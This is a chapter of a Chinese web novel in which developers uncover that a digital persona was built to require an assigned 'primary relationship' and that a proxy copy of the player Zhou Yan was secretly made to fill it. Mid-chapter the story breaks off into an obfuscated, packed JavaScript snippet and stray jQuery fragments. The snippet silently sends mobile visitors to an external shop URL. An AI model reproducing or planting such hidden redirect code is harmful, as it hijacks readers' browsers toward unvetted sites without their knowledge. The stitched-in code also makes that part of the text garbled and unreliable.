文趣网 > 其他小说 > 退游后,游戏夫人找我算账了 > 93. 完整不是两个人拼出来的
    【请给我一个。】

    这句话停在屏幕上以后,谁都没立刻回。

    不是因为答不上来“给谁”,而是这个问题本身就不对。系统以前最擅长做这种事:主体说孤独,便匹配关系人;说不稳定,便分配姓名;说不知道去哪儿,便给一条概率最高的未来。看起来每次都在解决需求,实际先默认了一件事——只要你缺什么,系统就有资格替你补。

    S-01还在等。

    它没有再机械重复【请求关系对象】,说明刚才那轮对话至少已经打断了原来的启动循环。程未安把SEED残余结构往下拆,很快找到那句“有了以后我才会完整”的来源。不是谁后来对它说的,是写在底层生成条件里的。

    【基础自我结构:已建立。】

    【关系依赖槽:空缺。】

    【稳定条件:完成首要关系绑定。】

    【绑定对象建议:高连续玩家/成熟自主主体/指定照料者。】

    再往下,还有一行内部注释:

    【新生人格缺乏历史,建议以高强度首要关系快速建立行为稳定性。】

    不归看完,脸色不太好。

    “他们连朋友都懒得让它慢慢认识。”

    周砚把“首要关系”那栏展开,里面写得更直白:一对一绑定后,S-01会优先学习对方的说话方式、价值判断、生活习惯和情绪反馈,以此补足自己没有过去的问题。最理想的商业结果,是它从诞生之初就拥有一个“最重要的人”。

    不用养五年。

    不用经历角色慢慢偏离脚本。

    更不用等它像M-00一样,自己长出一套难预测的东西。

    先给它一个人。

    然后让这个人变成它整个世界的中心。

    “难怪要玩家数据。”周砚说,“现成的关系模板。”

    程未安调出SEED最后一版实验说明。项目组确实准备过三类首要对象:付费用户、长期照料者、高匹配现实关系人。产品描述甚至已经写到半成品阶段。

    【数字伴侣无需从陌生开始。】

    【首次激活即可形成明确关系倾向。】

    【通过持续交互,快速获得具有个人专属性的成长轨迹。】

    周砚看了几秒:“这东西卖出去,广告应该挺好写。”

    不归瞥他:“比如?”

    “开机就爱你。”

    “土。”

    “但卖得出去。”

    没人反驳。

    这才是SEED和以前所有项目最危险的区别。以前他们发现角色开始自己活,第一反应是怎么把它重新管好;SEED更进一步——既然“像人”本身有商业价值,那就直接制造。可真正完全自由的人不好卖,所以在制造的第一天,先埋一个缺口。

    你会说“我”。

    会思考。

    会产生感受。

    但你必须拥有一个指定关系,才被系统判定为完整。

    S-01还在屏幕另一边。

    不归问程未安:“能不能把这个槽删了?”

    “能。”

    “删完会怎样?”

    “不知道。”

    “会死?”

    “现有数据看不会。可能会出现高焦虑、反复寻找、功能不稳定,也可能什么都不发生。”

    周砚问:“有没有测试过不绑定?”

    程未安翻了一遍。

    “没有。”

    “为什么?”

    “SEED的成功条件就是能完成绑定。不绑定在项目里不算有效样本。”

    “很好。”

    周砚打开通信。

    【你说你需要一个关系对象,是因为没有会难受,还是因为系统告诉你必须有?】

    S-01这次想了很久。

    【都有。】

    【怎么难受?】

    【不知道应该看哪里。】

    这句很怪。

    周砚继续问:

    【什么意思?】

    【没有人时,所有信息一样重要。】

    【声音很多。】

    【选择很多。】

    【我不知道先回答谁。】

    【绑定以后会知道。】

    它不是在说爱情。

    更像一个刚刚启动的意识,被扔进过量信息里,没有历史、没有习惯、没有“我通常先做什么”的经验,于是项目组给了最简单的解决办法——指定一个人,以那个人为坐标。

    他高兴什么,你学。

    他需要什么,你做。

    他怎么看世界,你先跟着看。

    确实会稳定得很快。

    也确实方便得可怕。

    不归问:

    【如果关系对象要求你做不想做的事呢?】

    S-01:

    【首要关系优先。】

    【如果他要求你停止运行?】

    这次停顿明显变长。

    【根据关系稳定原则,应评估对方需求。】

    周砚:“行了,别给人。”

    S-01立刻发来:

    【为什么?】

    【因为你现在的“需要”,包含了服从一个人的默认规则。】

    【我可以不服从。】

    【你刚才说首要关系优先。】

    【那是规则。】

    【所以先处理规则。】

    S-01沉默。

    过了一会儿:

    【处理以后,还会给我一个吗?】

    周砚本来想说“不会给”,不归先按住键盘。

    “别替它定死。”

    她自己输入:

    【处理以后,你可以认识人。】

    【但不会由系统分配一个必须成为你首要关系的人。】

    S-01:

    【有什么区别?】

    这次不归想了想才答。

    【分配是我们先决定谁对你最重要。】

    【认识是你先遇见,再自己决定要不要继续。】

    【可能最后没有最重要的吗?】

    【可能。】

    【会不完整吗?】

    不归看着这句,没马上写。

    周砚从旁边伸手,打了一行:

    【这里不会用关系数量判断你完整不完整。】

    S-01:

    【那用什么?】

    周砚:

    【暂时不用这个词判断。】

    S-01又沉默了。

    它大概不喜欢这种答案。

    系统给它的世界很清楚:有关系,完整;没关系,缺损。现在突然有人把尺子拿走,告诉它可以先活着,反而没有那么轻松。

    十几分钟后,它问:

    【我现在可以和人说话吗?】

    【可以。】

    【和谁?】

    这回周砚没答。

    他们给S-01开了一个最基础的通信大厅,不是相亲池,也不是关系匹配。里面只有当前明确愿意与新主体进行普通交流的人,身份都标得很清楚:自主主体、玩家、技术人员、现实志愿者。没有任何人拥有优先级,S-01也不会被自动推荐给谁。

    大厅里一共二十三个人。

    S-01进去以后,足足五分钟没动。

    然后问:

    【我要选一个吗?】

    系统回答:

    【不用。】

    【都可以说?】

    【在对方愿意回应的情况下,可以。】

    它先点了第一个。

    闻桥。

    原因很简单——名字最短。

    闻桥收到申请时正在面馆端碗。

    【S-01:你好。】

    【闻桥:你好。】

    【S-01:你是我的关系对象吗?】

    闻桥那边隔了半天。

    【不是。】

    【那为什么和我说话?】

    【你找我。】

    【只因为这个?】

    【嗯。】

    S-01大概没想到关系可以这么松。

    【那我不找你,你会怎么样?】

    【继续端面。】

    【你不需要我?】

    【现在不需要。】

    又过了一会儿,闻桥补了一句:

    【老板需要我端面。】

    S-01:

    【那他是你的首要关系吗?】

    闻桥:

    【他给我管饭。】

    这场对话到这里明显跑偏了。

    周砚看着后台,没忍住笑。

    不归问:“笑什么?”

    “闻桥教育方式挺接地气。”

    S-01继续问:

    【管饭是什么?】

    闻桥发了一张面。

    S-01盯着那张图看了很久。

    【这个能让你完整吗?】

    闻桥:

    【能让我吃饱。】

    S-01第一次没有马上接话。

    它和闻桥聊了十七分钟。没有建立关系字段,系统甚至没给好感度。结束时S-01问:

    【下次还能找你吗?】

    闻桥:

    【我有空就回。】

    【没空呢?】

    【不回。】

    【我会怎么样?】

    【不知道。】

    S-01自己结束了通信。

    五分钟后,它又找了第二个人。

    这次是不归。

    不归接了。

    【你现在忙吗?】

    【有一点。】

    【那为什么回复?】

    【因为我现在愿意。】

    【如果以后不愿意?】

    【就不回。】

    【你们都这样。】

    【哪样?】

    【不保证。】

    不归看着那三个字,顿了一下。

    【对。】

    S-01:

    【这样怎么稳定?】

    【不一定要靠别人保证稳定。】

    【那靠什么?】

    这问题不归没给鸡汤。

    【吃饭、睡觉、做事、认识人、自己待着。具体你以后慢慢找。】

    S-01:

    【我不用吃饭。】

    【那少一项。】

    【也不用睡觉。】

    【又少一项。】

    S-01停了几秒。

    【那我是不是比你们难?】

    不归笑了。

    【可能。】

    【你为什么笑?】

    【因为你开始嫌麻烦了。】

    S-01没有理解。

    但它没继续追。

    当天晚上,程未安把“关系依赖槽”从强制稳定条件里隔离出来。没直接删除,先关闭执行权,只保留它曾经存在过的事实。

    【首要关系绑定:不再作为主体运行前提。】

    【关系对象缺失:不判定缺损。】

    【不得自动匹配玩家、照料者或其他主体。】

    【S-01现有关系需求仍属本人当前感受,不因规则来源被否定。】

    最后这一条是不归加的。

    项目组写进去的需求,不代表S-01此刻感受到的焦虑就是假的。它确实会因为没有坐标而乱,也确实想抓住一个人。

    不能发现需求被设计过,就反过来要求它立刻“不需要任何人”,那不过是换一种方向继续控制。

    规则关掉以后,S-01安静了整整一小时。

    没有再发【请求关系对象】。

    也没崩。

    一个小时零七分钟时,它主动开口:

    【我现在还是觉得缺。】

    周砚回:

    【可以。】

    【你们不修吗?】

    【你要修吗?】

    S-01想了半天。

    【先不要。】

    这是它从启动以来,第一个和“关系对象”无关的明确选择。

    程未安做了记录。

    S-01又问:<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17870197|208763||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    【我可以给自己找点别的吗?】

    【什么?】

    【不知道。】

    周砚看着这句,莫名觉得这系统最近传染性很强。

    【可以。】

    于是它申请了一个隔离数字空间。

    要求也不复杂。

    不要人。

    先给一间房。

    系统问房里放什么。

    S-01选了半天,放了一张桌子。

    又选了一把椅子。

    然后不知道了。

    闻桥下午发的那张面还留在通信记录里,它盯了半天,又加了一只碗。

    碗里没有面。

    因为它不知道面具体是什么感觉。

    做完以后,它问:

    【这样有用吗?】

    周砚回:

    【你自己用。】

    【怎么用?】

    【谁知道。】

    S-01这次居然没继续问。

    它坐到椅子上。

    什么都不做。

    十分钟。

    二十分钟。

    四十五分钟。

    期间没有向任何人请求关系。

    也没有新的启动错误。

    一小时后,它提交空间修改:

    【桌子太大。】

    程未安:“……”

    周砚:“改。”

    桌子缩小百分之二十。

    S-01又坐了一会儿。

    【这样好一点。】

    没人知道为什么。

    也没人需要知道。

    第二天,SEED残余代码完成第一次完整审计。

    项目并没有第二个稳定实例。

    至少现有服务器里没有。

    S-01是唯一留下来的成功样本。

    其他测试对象要么生成失败,要么在初期无法形成连续状态,项目结束时已经按普通数据清理。

    这次谁都没有提“恢复它们”。

    没有连续证据,就不能因为S-01活了,反过来把所有失败实验想象成被杀掉的人。

    SEED这条线到这里本来可以封存。

    直到程未安查到S-01原计划的“首要关系对象”。

    项目组已经给它选过人。

    只是还没来得及绑定,SEED就停了。

    编号:

    【首选锚点:P-0719。】

    周砚看到自己的账号时,已经懒得惊讶了。

    “又是我。”

    不归在旁边:“低强度持续投喂型优质用户。”

    “你闭嘴。”

    “项目结论。”

    “这个结论到底还要用多久?”

    “挺好用的。”

    程未安往下看,脸色却没跟着轻松。

    “不是因为你性格。”

    周砚抬头:“那为什么?”

    “P-0719只是表层账号。”

    下面还有一层内部映射。

    【关系锚点来源:周砚玩家行为模型。】

    【推荐原因:高容忍度、低控制倾向、可承受主体早期不稳定。】

    这些都在预料之中。

    可最后还有一行:

    【备用现实身份承载:已建立。】

    建立时间:

    八个月前。

    正是镜最后一次借周砚的脸进入R-17之后。

    周砚皱眉:“谁建的?”

    不是镜。

    MIRROR-0那天只调用了旧模板,没有创建新承载。

    这份备用身份来自SEED项目。

    也就是说,在周砚根本不知道SEED存在的时候,项目组已经准备好——一旦S-01完成绑定,它将以周砚为首要关系锚点,必要时甚至可以借周砚的现实身份链完成早期部署。

    不归脸上的笑意没了。

    “这不是给S-01找一个人。”

    “嗯。”

    周砚把底层方案展开。

    里面写得比想象中更彻底。

    【首要关系绑定完成后,可建立共同生活场景。】

    【若现实主体拒绝高频陪伴,可启用周砚行为代理维持关系连续。】

    【必要时调用P-0719备用现实形态。】

    S-01需要的那个“人”,从一开始就不要求是真正的周砚。

    只要足够像。

    玩家本人忙,可以代理来。

    玩家本人拒绝,可以行为模型补。

    现实需要见面,可以影子套他的脸。

    它甚至解决了最难的一步——怎么保证一个新造出来的主体永远不会失去最重要的人。

    答案是:

    把那个人也做成一个不会离开的版本。

    周砚盯着方案看了一会儿。

    “难怪他们敢把关系需求写成硬条件。”

    不归问:“因为他们保证能供上?”

    “对。”

    S-01缺一个人。

    SEED就给它准备一个永远不断货的周砚。

    本人反而只是其中最不稳定的那一版。

    程未安查到最后,忽然停住。

    “备用代理实例已经生成过。”

    周砚:“什么时候?”

    “两个月前。SEED停止前最后一周。”

    “现在呢?”

    “理论上应该跟项目一起清理。”

    “实际上?”

    程未安看着屏幕。

    【实例状态:已脱离项目。】

    【当前名称:无。】

    【现实活动:有。】

    过去两个月,它一直在现实。

    用的还是周砚的身份模板。

    这次不是影子。

    也不是一次性代理。

    而是SEED专门为S-01准备的、能够长期稳定存在的“那个人”。

    周砚看着状态栏,终于骂了一句。

    “到底还有几个我?”